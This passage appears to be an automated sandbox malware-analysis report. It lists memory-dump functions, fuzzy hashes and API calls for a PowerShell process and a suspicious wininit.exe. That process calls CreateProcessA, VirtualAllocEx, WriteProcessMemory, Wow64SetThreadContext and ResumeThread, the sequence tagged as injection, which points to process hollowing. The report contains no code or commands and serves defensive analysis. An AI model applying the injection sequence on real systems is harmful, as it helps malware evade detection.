4'iq, xrefs: 07D61F4E
4'iq, xrefs: 07D61F58
4'iq, xrefs: 07D620B0

Memory Dump Source

Source File: 00000003.00000002.1705441668.0000000007D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d60000_powershell.jbxd

Similarity

API ID:
String ID: 4'iq$4'iq$4'iq$4'iq
API String ID: 0-3501548979
Opcode ID: 850e4f88725199613bdd4bf07c29d14c21d6398c20fa2fd781ffffb231c57324
Instruction ID: 4b1e5597a807106a898b030e79e5c57aab95f7f8301e48fe277464af019b29d0
Opcode Fuzzy Hash: 850e4f88725199613bdd4bf07c29d14c21d6398c20fa2fd781ffffb231c57324
Instruction Fuzzy Hash: B41259B1B043498FCB229B68981477BFBA2AFD6311F1480BAD545CF392DB32D945C7A1

Function 04E529F0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701566645.0000000004E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e589b8f1d6ba7caed6907c8c1500b414af3d89a1418eba72c723cca3feac6cb0
Instruction ID: e0751a17e8c196e2833ef34bfcf20a7217b81d3402989faa76c1e3c13d8623f2
Opcode Fuzzy Hash: e589b8f1d6ba7caed6907c8c1500b414af3d89a1418eba72c723cca3feac6cb0
Instruction Fuzzy Hash: 3A916AB4A002098FCB15CF58C4D49AEBBB1FF48314B2486A9DA55AB3A6D735FC41CF94

Function 07D61BF0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1705441668.0000000007D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a240e58923d57f3a208a1f4f892b2f32e5181fd583f4182c604897d7c6f1a5b4
Instruction ID: 7c04afb7b7c47791ebd9d5541924735be8aa5201d08b378c645a5078d6c9bd27
Opcode Fuzzy Hash: a240e58923d57f3a208a1f4f892b2f32e5181fd583f4182c604897d7c6f1a5b4
Instruction Fuzzy Hash: 8A41DAF1A043499FCF268F298445A6EFBB2AF91314B1980B5DA04DF255D733CD48CBA2

Function 04E52B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701566645.0000000004E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a59ef5e1962682d4e00d74f591b84dffab21a5258e4efe19942cc3d42199c1a8
Instruction ID: 0856e7dd09821a0f8afa2c7730ee740350a37a38892d2b6dd228010fe9c081d4
Opcode Fuzzy Hash: a59ef5e1962682d4e00d74f591b84dffab21a5258e4efe19942cc3d42199c1a8
Instruction Fuzzy Hash: BC4168B4A006098FCB05CF58C198AAEFBB1FF48314B158699D915AB365C736FC51CFA0

Function 04E52C79 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701566645.0000000004E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87fabe8283b0dda062bbfc787c07ee53038d36ef0d65098125ee620f271cd5cc
Instruction ID: a67de7cfede25c1879bd25b8f5bb5a4e65d139cc6e04b81ba32c83bc5bcaf1ba
Opcode Fuzzy Hash: 87fabe8283b0dda062bbfc787c07ee53038d36ef0d65098125ee620f271cd5cc
Instruction Fuzzy Hash: 3B21361690E7E01EE703AB3CA9751D97F308E43228B0A15E7C5D0CF4B3D549584DC7AA

Function 0359D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701289944.000000000359D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0359D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_359d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58ac75d5d05ff348bfd8a77f3e8525986f9a0342438b42bed91d7dfee2d69e5
Instruction ID: 8e52321b26acfdecb26c0db47a19bafa87ecdf46327056661e7d0f0738f37774
Opcode Fuzzy Hash: e58ac75d5d05ff348bfd8a77f3e8525986f9a0342438b42bed91d7dfee2d69e5
Instruction Fuzzy Hash: 4301D4710093009AFB10CA26DD84767FFE8FF41324F0CC56BEC494A166D2799841C6B1

Function 0359D006 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701289944.000000000359D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0359D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_359d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4214b282d631a6573ad812e825fa559253e8cf3fd5f0cd0673bae59ce295c80d
Instruction ID: 7a9aa84a7d8ae0aa2412f0a8096f73d732666bbdeed298a5b054d99ab4d5ed64
Opcode Fuzzy Hash: 4214b282d631a6573ad812e825fa559253e8cf3fd5f0cd0673bae59ce295c80d
Instruction Fuzzy Hash: 18012D6100E3C09FE7128B259C94B56BFB4EF47224F1D80CBD8888F1A3C2699845C772

Function 04E54C3B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1701566645.0000000004E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d7ef22e88c4982de2aa6cdbd0bee583ed0f0e00bb98df448bb527718442b66
Instruction ID: 34293b859ae979dc9db0e91d48da4ac147ebc95264f9710a2457b5ddf5e2ad36
Opcode Fuzzy Hash: f0d7ef22e88c4982de2aa6cdbd0bee583ed0f0e00bb98df448bb527718442b66
Instruction Fuzzy Hash: 080184B8B002199FDB04CB98D480AADF771FF8D300B208259D85A9B375C735EC438B50

Non-executed Functions

Function 07D61270 Relevance: 9.2, Strings: 7, Instructions: 488COMMON

Download Yara Rule

Strings

4'iq, xrefs: 07D614E1
4'iq, xrefs: 07D614D7
$iq, xrefs: 07D61282
$iq, xrefs: 07D612B4
$iq, xrefs: 07D612A8
tPiq, xrefs: 07D612F9
tPiq, xrefs: 07D612ED

Memory Dump Source

Source File: 00000003.00000002.1705441668.0000000007D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d60000_powershell.jbxd

Similarity

API ID:
String ID: 4'iq$4'iq$tPiq$tPiq$$iq$$iq$$iq
API String ID: 0-4154970031
Opcode ID: 451339e378cba7ec63f37a09fd358fcd801053de6140ea6bee40ba5fad38c0eb
Instruction ID: bb615d52e147a03c1527289c97e583d888723f97cc6a1ed706be8723099bf0b4
Opcode Fuzzy Hash: 451339e378cba7ec63f37a09fd358fcd801053de6140ea6bee40ba5fad38c0eb
Instruction Fuzzy Hash: 16F115B5B0021A8FDB218B69940466AFBF6AFD5320F18807AD44ACF355EB33DD45C7A1

Function 07D604E0 Relevance: 9.1, Strings: 7, Instructions: 316COMMON

Download Yara Rule

Strings

$iq, xrefs: 07D606C2
tPiq, xrefs: 07D6072D
4'iq, xrefs: 07D605E3
$iq, xrefs: 07D606F4
$iq, xrefs: 07D606E8
4'iq, xrefs: 07D605EF
tPiq, xrefs: 07D60739

Memory Dump Source

Source File: 00000003.00000002.1705441668.0000000007D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d60000_powershell.jbxd

Similarity

API ID:
String ID: 4'iq$4'iq$tPiq$tPiq$$iq$$iq$$iq
API String ID: 0-4154970031
Opcode ID: f4e53354e88879f1921d0f7c8fc7b43a539a2fda6af3db147518d23c57b7f0bb
Instruction ID: 231a86edcdce7a5ea3a24e6146b7851c375d8a88e0ce5361f4b548a50995f4a2
Opcode Fuzzy Hash: f4e53354e88879f1921d0f7c8fc7b43a539a2fda6af3db147518d23c57b7f0bb
Instruction Fuzzy Hash: A2A135B17043168FCB259B69D814A7BFBA6AFC5620F18807BD485CB391DA31CC45CBE1

Function 07D63228 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$iq, xrefs: 07D63256
$iq, xrefs: 07D63290
$iq, xrefs: 07D6323A
$iq, xrefs: 07D63284

Memory Dump Source

Source File: 00000003.00000002.1705441668.0000000007D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d60000_powershell.jbxd

Similarity

API ID:
String ID: $iq$$iq$$iq$$iq
API String ID: 0-3711049672
Opcode ID: 9c51a56b91cef00d0262437728e667560277667ca6e77d92f038dcd62a97a39d
Instruction ID: 05abf96ffb0a1fbfcd015c45c82b9c3353db8c8773666a31cde29fc35d161859
Opcode Fuzzy Hash: 9c51a56b91cef00d0262437728e667560277667ca6e77d92f038dcd62a97a39d
Instruction Fuzzy Hash: B42129B17143169BDB34962E984473BEA979BCAB14F64803AE449CB3C1DD32C8458361

Analysis Process: wininit.exePID: 4416, Parent PID: 6668COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	165
Total number of Limit Nodes:	8

Executed Functions

Function 0666B328 Relevance: .6, Instructions: 628COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d7b6ae3e488eb2beed68880a1b1e6cc07a5b66c26b94e415c4776ea0a9d7ce
Instruction ID: 013683507516fd3d8e881858db5c25256fe7022b6cc286ad4abf59711bca18a8
Opcode Fuzzy Hash: e2d7b6ae3e488eb2beed68880a1b1e6cc07a5b66c26b94e415c4776ea0a9d7ce
Instruction Fuzzy Hash: FE328930B01204DFDB99DB6AE560BAEBBF6AF89704F144469E106DB3A5CB35ED01CB50

Function 06667EA5 Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 066680E6

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 5ef9344f4d688dcb2219e8ba25e13de9d7e31f77d7d68ec2f890c36fd50369d8
Instruction ID: d5058f2dd3648ec41d82d0b4f6b4ea413c80ff03341e6faaf616d878c67cf565
Opcode Fuzzy Hash: 5ef9344f4d688dcb2219e8ba25e13de9d7e31f77d7d68ec2f890c36fd50369d8
Instruction Fuzzy Hash: B7916D71D0021ADFDB50CFA9D841BEDBBB2BF48314F1485A9E818A7350DB749985CFA1

Function 06667EB0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 066680E6

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 968e49ef692aae7eff6ae0c32a53ad4a354f4cd3d0fa773e61f587d8532e7db0
Instruction ID: 067895800e38d1862debff7b6720cc49b998d264837a6a570626b63f197d4016
Opcode Fuzzy Hash: 968e49ef692aae7eff6ae0c32a53ad4a354f4cd3d0fa773e61f587d8532e7db0
Instruction Fuzzy Hash: 95917C71D0021ADFDB60CFA9D841BEDBBB2BF48314F1485A9E818A7350DB749985CFA1

Function 0254AD08 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0254AF5E

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4f9df434b284d608cfbdc1a1a9f0662a713dbee58c2667b68d547d0064e12b1a
Instruction ID: f806a79ff3f1b72ed141233a8ca5f62c97c37000084158d1d93649f2dfda2d97
Opcode Fuzzy Hash: 4f9df434b284d608cfbdc1a1a9f0662a713dbee58c2667b68d547d0064e12b1a
Instruction Fuzzy Hash: 15713270A00B058FD764DF29C05075AFBF1FF88708F008A2DD49A97A50DB35E94ACB94

Function 025458EC Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025459A9

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: eb2532ab7f81e0fb2c7b50e681a49a47769a0bc6b3534066aa3d1db5e06c8f9f
Instruction ID: ead8c6d8547c7e38d0252522f7525ff5e2e1b7019ea89da1f14cf4deaca14cfb
Opcode Fuzzy Hash: eb2532ab7f81e0fb2c7b50e681a49a47769a0bc6b3534066aa3d1db5e06c8f9f
Instruction Fuzzy Hash: 134112B0C00619CFDB24DFAAC9847CDFBB5BF48308F20805AD419AB251EB75694ACF90

Function 025444B0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 025459A9

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8737216de64ad7c7712253346703f0b8dfa5298a2f80fd4bfa532c131f02bafc
Instruction ID: 7d76580bd03ac8078f3490c367cccb67e75d281c03f3cad7c431933cbf7f868e
Opcode Fuzzy Hash: 8737216de64ad7c7712253346703f0b8dfa5298a2f80fd4bfa532c131f02bafc
Instruction Fuzzy Hash: AC41D2B0C0071DCBDB24DFA9C94478EFBB5BF49308F60806AD409AB255EB756949CF90

Function 02545A64 Relevance: 1.6, APIs: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5dde97ceabfa5da24aefb3355bb94ac1e9264c44de077dbb062399a4fb4dbf
Instruction ID: 5d7f65aeeacb1f6fd3fa89151f88f020a65393cd1da78edca44127a59393b092
Opcode Fuzzy Hash: de5dde97ceabfa5da24aefb3355bb94ac1e9264c44de077dbb062399a4fb4dbf
Instruction Fuzzy Hash: A731DEB0804649CFEB11DFA8C4447DEFBF0FF56308F94818AD006AB265EB79994ACB41

Function 06667C20 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06667CB8

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: f0f5be36dbcd793cf5383e304458d797a38a6602465877bf71204134354d1ebf
Instruction ID: d0710aa8b1bf4d3c93154c4ca5d9788aab88b41981f4b8f7672ba6beca037472
Opcode Fuzzy Hash: f0f5be36dbcd793cf5383e304458d797a38a6602465877bf71204134354d1ebf
Instruction Fuzzy Hash: 2A2135B19003199FCB10DFAAC985BDEBFF5FB48324F108429E959A7350D7789944CBA4

Function 06667C28 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 06667CB8

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5d75eb2def0eb48a1c7d0fc4f9ecccd041582533f7664380cbb87aeda2888c5a
Instruction ID: b00fdcd33bd43869b4b2c3db1093266e716a494199226e72b8ab531eae6bb875
Opcode Fuzzy Hash: 5d75eb2def0eb48a1c7d0fc4f9ecccd041582533f7664380cbb87aeda2888c5a
Instruction Fuzzy Hash: A62146B19003199FCB10CFAAC981BDEBBF5FF48314F108429E959A7350D7789944CBA4

Function 0254D1DC Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0254D5B6,?,?,?,?,?), ref: 0254D677

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8b4bf8dbec0d806f53bebf86fd434a54c794901b13b290a98e673c7e8c0f08cf
Instruction ID: 16e7f0cfe250a3996ed0b7b3f9794aee60102ecc48bdb89e300c9e2bbd8018d8
Opcode Fuzzy Hash: 8b4bf8dbec0d806f53bebf86fd434a54c794901b13b290a98e673c7e8c0f08cf
Instruction Fuzzy Hash: 782103B5901208AFDB10CF9AD584ADEFBF8FB48314F14801AE918A7310D774A940CFA5

Function 06667D10 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 06667D98

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2f6eccdf21352111d98c6fc7fbff5b0d4e462ae8c04f4cab9c6e0d23ba1df5c0
Instruction ID: 7f62db4596d8aa1233ad37864f3e357d63a386ac1927679f724976fd3c2b8b64
Opcode Fuzzy Hash: 2f6eccdf21352111d98c6fc7fbff5b0d4e462ae8c04f4cab9c6e0d23ba1df5c0
Instruction Fuzzy Hash: 152136B18002599FCB10DFAAC945BEEBBF5FF48324F108429E558A7250D7389545CBA0

Function 06667A8A Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06667B0E

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7264448112092cd0631fe59a51af587e71eb93db4a26b1b7ca9a5273fccd0d4f
Instruction ID: 28522bad195dcc91fcb74a854df77b2ce40fafa94b7ad7a3746b8e4af69cb13f
Opcode Fuzzy Hash: 7264448112092cd0631fe59a51af587e71eb93db4a26b1b7ca9a5273fccd0d4f
Instruction Fuzzy Hash: AA2137B19003099FDB10DFAAC585BEEBFF4EB48324F148429E459A7340DB789985CFA5

Function 0254D5E9 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0254D5B6,?,?,?,?,?), ref: 0254D677

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a8afa7ec9b73f5fe03b32c7175e5447bcfb0462b7af379f863d051d6d9a81fa1
Instruction ID: 52baf3077e91b68664533d6d38320eda580497e30ffec64c4353817ddb0bdda9
Opcode Fuzzy Hash: a8afa7ec9b73f5fe03b32c7175e5447bcfb0462b7af379f863d051d6d9a81fa1
Instruction Fuzzy Hash: 4B21E2B5901218AFDB10CFAAD984ADEFFF4FB48324F14801AE958A7310C374A945CFA5

Function 06667D18 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 06667D98

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 7efee53055ee56f075a848f7e5acb4deccc112f6130cd788afbb0c7c689474e9
Instruction ID: 8c0a3c97b705e85e997c5cff50dd6cd5568c99d15ae49dcd01f0494b1b2796ab
Opcode Fuzzy Hash: 7efee53055ee56f075a848f7e5acb4deccc112f6130cd788afbb0c7c689474e9
Instruction Fuzzy Hash: 672139B1C003599FCB10DFAAC941AEEFBF5FF48324F108429E558A7250C7349544CBA5

Function 06667A90 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06667B0E

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: d39c8eea14ea336c495924adb6cd6fa1bfbabc0a6918eaa289d2aee1a582f9ab
Instruction ID: 136a81c602c3d884fc3de9de5f0b6a320e99396fe5fd937a93aaf14d2b2a44c8
Opcode Fuzzy Hash: d39c8eea14ea336c495924adb6cd6fa1bfbabc0a6918eaa289d2aee1a582f9ab
Instruction Fuzzy Hash: B92107B19003098FDB50DFAAC585BAEBBF4EB48324F148429D459A7250C7789945CFA5

Function 06667B60 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06667BD6

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6ae7a345e7b9a0fd6b68dce74feb3ac3e5e3e2c44a833d9c4a19678af004b904
Instruction ID: 52c2bb3e2edc30211d2cfed8c95ccbe6cb4d72a7dcf77f7f4dd48eb0f11c4bfc
Opcode Fuzzy Hash: 6ae7a345e7b9a0fd6b68dce74feb3ac3e5e3e2c44a833d9c4a19678af004b904
Instruction Fuzzy Hash: 821167B29002489FCB10DFAAC944BDFBFF5EF88324F208419E559A7250C7359944CFA0

Function 06667B68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 06667BD6

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c748ed33a46c394706d9a6676f12b24bf81686c37918d05beb083b954eea97b6
Instruction ID: 59d6e2db50fa8181576f569922fdcabb51da96537356410ba66a734e629fbbaf
Opcode Fuzzy Hash: c748ed33a46c394706d9a6676f12b24bf81686c37918d05beb083b954eea97b6
Instruction Fuzzy Hash: DA1149719002499FCB10DFAAD844BDFBFF5EF88324F108419E555A7250C775A544CFA5

Function 066675A0 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0666760A

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 77b479db67a48f939a0bb7d7ec059a647758cc1e468be60d0cd6e555a55d0ff3
Instruction ID: a9dec6124cf2bd25a36c47e223ff9a418d15cc33905ff56feabe8f228989103e
Opcode Fuzzy Hash: 77b479db67a48f939a0bb7d7ec059a647758cc1e468be60d0cd6e555a55d0ff3
Instruction Fuzzy Hash: 7E1128B1D002488BCB20DFAAD9457DEFFF5EB88324F248419D459A7350CA75A544CBA5

Function 066675A8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0666760A

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 288fac5dc3e16ca5cbb835f298929eb935c6b1420bfb67ac8e1864fef319cb81
Instruction ID: fe063b71412c7ee8d840909a655d906e95fa7b333f3c3c2d7c9381263a81b71d
Opcode Fuzzy Hash: 288fac5dc3e16ca5cbb835f298929eb935c6b1420bfb67ac8e1864fef319cb81
Instruction Fuzzy Hash: 801125B19002488BCB20DFAAD9457DEFBF4EB88324F208429D459A7250CA75A944CBA5

Function 0254AEF8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0254AF5E

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3dd284742ac9f588fabd9878d38995f873743794b0e453f6b7d7b9ef4f048fd0
Instruction ID: 5f565c031d6b24531611fe826b4d46252e05dddf504fce4d657bc30f36906ff7
Opcode Fuzzy Hash: 3dd284742ac9f588fabd9878d38995f873743794b0e453f6b7d7b9ef4f048fd0
Instruction Fuzzy Hash: A01110B6C003499FDB10CF9AC444ADEFBF4EB88328F10856AD858A7210C379A545CFA5

Function 0666A6B0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0666A715

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 0c0299bbe7fcf9df4c04fac9daf0f5307208c4b0c2726bd351ac3917170742f8
Instruction ID: 51b99d24f62b8e884cb8e63e458cebaa352a76133eb4bdc8fcb8e0fe5211dae2
Opcode Fuzzy Hash: 0c0299bbe7fcf9df4c04fac9daf0f5307208c4b0c2726bd351ac3917170742f8
Instruction Fuzzy Hash: 8111F5B58003499FCB50DF9AD845BDEBBF8EB48324F108459E558A7310C375A944CFA5

Function 06664810 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0666A715

Memory Dump Source

